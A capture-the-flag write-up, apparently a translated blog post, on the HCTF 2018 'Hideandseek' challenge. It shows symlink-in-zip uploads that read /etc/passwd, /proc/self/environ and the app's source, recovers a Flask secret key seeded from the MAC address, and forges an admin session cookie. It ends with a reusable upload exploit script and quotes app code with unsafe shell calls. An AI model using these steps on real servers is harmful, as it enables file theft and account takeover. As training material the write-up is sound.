BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek

Test points:

  1. Soft link to read arbitrary files
  2. FlaskFakesession
  3. /proc/self/environ file obtains the list of environment variables of the current process
  4. Pseudo-random number seed generated by random.seed()
  5. MAC address (stored in /sys/class/net/eth0/address file)

I encountered soft connections during the national competition. It is a worry to learn about it again this time.

First, let’s introduce what a soft connection is.

Linux includes two types of links: Hard Link and Soft Link. Soft links are also called symbolic links.

[hard connection]
Hard connections refer to connections through index nodes. In the Linux file system, files stored in disk partitions are assigned a number regardless of their type, called an Inode Index. In Linux, multiple file names pointing to the same index node exist. Generally this connection is a hard connection. The function of hard link is to allow a file to have multiple valid path names, so that users can establish hard links to important files to prevent “accidental deletion”. The reason for this is as mentioned above, because there is more than one connection to the index node of the directory. Deleting only one connection does not affect the index node itself and other connections. Only when the last connection is deleted, the data blocks of the file and the directory connections will be released. In other words, the condition for the file to be truly deleted is that all hard-linked files related to it are deleted. To put it bluntly, a hard link is a pointer pointing to the file index node, and the system does not reallocate the inode for it.

image-20230904233324632

【Soft connection】
Soft link is a commonly used command in Linux. Its function is to establish a different link for a certain file in another location. The practical application is: when we need to use the same file in different directories, we do not need to put a file that must be the same in every required directory. We only need to use ln< in other directories. /code> command link (link) is enough, there is no need to repeatedly occupy disk space.

[index node (inode)]

To understand links, we first have to understand a concept called index node (inode). In the Linux system, the kernel allocates an Inode (index node) to each newly created file. Each file has a unique inode number. We can simply understand the inode as a pointer, which always points to the specific location of this file. storage location. File attributes are stored in the index node. When accessing the file, the index node is copied to the memory, thereby achieving fast access to the file. The system locates each file by index node (rather than file name).

Soft link usage:

Create soft link

ln -s [source file or directory] [destination file or directory]

//The current path to create test leads to the /var/www/test folder
ln –s /var/www/test test

//Create /var/test to point to the /var/www/test folder
ln –s /var/www/test /var/test

Delete soft link

//Delete test
rm –rf test

Modify soft link

ln –snf [new source file or directory] [destination file or directory]

This will change the original link address to the new address

//Create a soft link
ln –s /var/www/test /var/test

//Modify the new path pointed to
ln –snf /var/www/test1 /var/test

Commonly used parameters:

-f: Delete the file with the same file name as dist first when linking
-d: Allow system administrators to hard link their own directories
-i: Ask first when deleting files with the same file name as dist
-n: treat dist as a normal file when making soft links
-s: Make a soft link (symbolic link)
-v: Display the file name before linking
-b: Back up files that will be overwritten or deleted during linking
-S SUFFIX: Add the suffix SUFFIX to all backup files
-V METHOD: Specify the backup method
–help: show help information
–version : display version

Start doing the questions.

image-20230904235831283

Only the login function is available on the current page, and other functions will not jump. Try to log in.

It was found that any user password can be used to log in, but only admin cannot be logged in.

image-20230905000046680

After logging in, there is a point to upload files. We are prompted to upload a compressed package with the suffix .zip.

image-20230905000029173

I randomly uploaded a .php to test the waters, but found that I could only upload a .zip compressed package.

image-20230905000610108

Compressed packages can easily make people think of soft links. Try uploading a .zip compressed package first. There is no echo.

image-20230905113628143

Then upload a compressed package containing a soft link and try to read the /etc/passwd file.

Enter the command in Linux to create a soft link compressed package.

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm –rf passwd

image-20230905114442570

Then upload, and find that the content of /etc/passwd on the server is successfully echoed.

image-20230905115301828

In theory, we can also directly read the contents of /flag. But I tried it and failed. . .

I guess it may be due to insufficient permissions. You need to log in as admin to have permission to read /flag. How to log in to the admin? After collecting information, I found the session. The server should determine the identity through the session. We need to forge the session. At the same time, it is determined through the session that the flask framework is used.

image-20230905115550975

Download a tool flask_unsign and open the terminal in the folder. The tool can only decrypt and blast but not the password, so you have to find it yourself.

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

Get {<!-- -->'username': '111'}

image-20230905115942110

Forging a session requires secret_key, try to find the source code.

Because any file has been read through a soft connection, we try to read the /proc/self/environ file to obtain the environment variable list of the current process, including the environment under flask variable.
The explanation is as follows, where /proc is a virtual file system, which stores some special files of the current running status. Through these files, you can view information about the system hardware and currently running processes, and even change some of them. file to change the running state of the kernel, and /environ is the list of environment variables of the current process.

ln -s /proc/self/environ self
zip -y self.zip self

rm –rf self

After successfully reading the /proc/self/environ file.

image-20230905121847888

We noticed UWSGI_INI=/app/uwsgi.ini. That is, the configuration file of the uwsgi server, which may contain the source code path.

client -> nginx -> uwsgi -> flask background program (this process is generally used in production)

We make soft link reads in the same way

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm –rf uwsgi

image-20230905121928718

Obtain the source code path, but there is a problem with the BUU environment. In this way, the source code path read in the competition was /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py. We also used this path to do the questions and continued reading through soft links. Get the source code.

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm –rf main

Ctrl + U to see a little more clearly.

image-20230905122141655

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d ' + extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    returnResponse(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

Browsing the source code, SECRET_KEY is generated by python's random function random(), and the seed is uuid.getnode(). Like PHP, Python's random() function is also a pseudo-random number. As long as we know what the seed uuid.getnode() is, we can get the key generated by the random number. SECRET_KEY is not a problem.

image-20230905123404478

The uuid.getnode() method in python obtains the hardware address in the form of a 48 bitpositive integer, which is the server's MACaddress.

image-20230905122713947

The current logic is this. MAC address=》Random number seed=》SECRET_KEY=》Fake session=》admin login=》flag.

The MAC address is found to be stored in the /sys/class/net/eth0/address file, and the soft link reads the file:

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm –rf mac

There are other ways to find the mac address:
img

c6:1b:39:ac:ff:91, c61b39acff91 converted to decimal is 217820234055569

image-20230905123426918

image-20230905124342582

Run the key locally and it will come out. Is 76.9034879300039

image-20230905123740256

Open the terminal under the flask_session_cookie_manager3 tool folder in kali.

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

GeteyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

image-20230905123926670

After successfully logging in to the admin account, there is no need to read the flag anymore, just give it directly.

image-20230905124005684

Find a soft connection script:

import os
import requests
importsys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={<!-- -->'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()
syntaxbug.com © 2021 All Rights Reserved.